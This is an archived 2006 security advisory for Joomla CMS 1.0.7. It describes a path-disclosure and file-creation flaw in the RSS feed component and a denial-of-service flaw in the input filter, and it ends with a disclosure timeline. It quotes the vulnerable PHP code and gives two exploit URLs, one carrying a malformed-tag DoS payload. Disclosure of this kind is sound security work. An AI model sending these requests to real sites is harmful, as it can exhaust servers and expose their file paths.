JOOMLA CMS 1.0.7 DoS & path disclosing Mar 02 2006 06:19AM
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RST/GHC -- JOOMLA CMS -- ADVISORY #37
Product: Joomla
Affected version: 1.0.7
Last version: 1.0.7
Vendor: Joomla!
URL: http://www.joomla.org/
online demo: http://demo.joomla.org/
VULNERABILITY CLASS: DoS, path disclosing

[Product Description]
Joomla! is a Content Management System (CMS) created by the same award-winning
team that brought the Mambo CMS to its current state of stardom.

[Summary]
An attacker can invoke some undesirable situations for server administrator.

[Details]

1. Real server path disclose and arbitrary filename creation.
Vulnerable script: includes/feedcreator.class.php
[code]
function saveFeed($filename="", $displayContents=true) {
if ($filename=="") {
$filename = $this->_generateFilename();
}
$feedFile = fopen($filename, "w+");
if ($feedFile) {
fputs($feedFile,$this->createFeed());
fclose($feedFile);
if ($displayContents) {
$this->_redirect($filename);
}
[/code]

Exploit:
Vulnerable script: index.php?option=com_rss&feed=filename_here&no_html=1
An attacker can write simple code to soil the server by lots of cashed files.
To disclose real path - just put slash symbol in the filename.

2. Denial of service.
Vulnerable script: includes/phpInputFilter/class.inputfilter.php
Anti-xss code will not cope with several tags. This can cause denial of servise.
Exploit:
index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<<>AAA<><>

[DISCLOSURE TIMELINE]

09/02/06 - vendor notification
26/02/06 - new release (1.0.8) with bugfix

bugs discovered by Foster

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